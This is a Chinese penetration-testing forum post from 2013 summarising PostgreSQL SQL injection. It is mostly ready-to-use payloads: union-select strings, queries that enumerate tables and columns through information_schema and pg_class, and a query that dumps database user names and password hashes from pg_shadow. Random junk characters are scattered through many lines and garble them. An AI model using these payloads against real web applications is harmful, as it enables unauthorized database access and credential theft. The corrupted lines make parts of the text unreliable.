中国网络渗透测试联盟

标题: postgreSQL注入总结 [打印本页]

作者: admin    时间: 2013-10-13 12:57
标题: postgreSQL注入总结
结合了MSSQL MySQL Oracle的一些特点8 r8 e; I- ~+ {! Q1 j$ X

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
$ t+ X' }. t& L" e! p连接符: %20 , + , /**/

内置函数:7 R' c0 X7 `- U
current_database() //当前数据库名
* ], i# M4 S- T  Rsession_user //会话用户
5 ]5 k2 [! k8 j8 Jcurrent_user //当前数据库用户
$ }$ M  H- n8 N  b, \% quser //当前用户* j: p+ e# g) @6 f
version() //数据库版本

Union注射:
3 P4 Q' B1 ^8 a" \order by n–
' L% P% [1 E9 l0 |4 A0 F) Wand 1=2 union select null,null,null–
8 ^; S& B/ A- j+ U& s; l' |! Jand 1=2 union select ‘beach’,null,null–
% ?/ q# t+ x7 vand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
$ b# f. b- A/ q/ W! y! V7 ugroup_concat(table_name)
" W3 _2 c+ C# }' _6 {and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
* c. q/ a# D3 f- e9 e0 t/ Q' z0 Vand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
4 R8 |. J2 a1 S(老版本)
1 F2 G3 b' m5 u* t3 J* F# mpg_class.oid对应pg_attribute.attrelid
& ^( i) h5 ?, f4 K/ m5 |pg_class.relname表名
/ `9 p) B$ P" n' B' q; `+ hpg_attribute.attname字段名

select relname from pg_class获取表名( V7 C5 v* Y+ _  W
select oid from pg_class where 条件 获取参数
- z/ {4 s2 M* ~9 h3 }( _9 Kselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:6 a/ v: ^& J1 @
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表0 `1 w) {+ j1 P& \& N
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
: ]' ]- X* L$ t$ J, P! R" }/ n由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名% o  I; `  q6 T* {' i
======================================================================/ b, j# n! v8 x
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
. O' \) U# D1 x3 t4 {and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码






欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2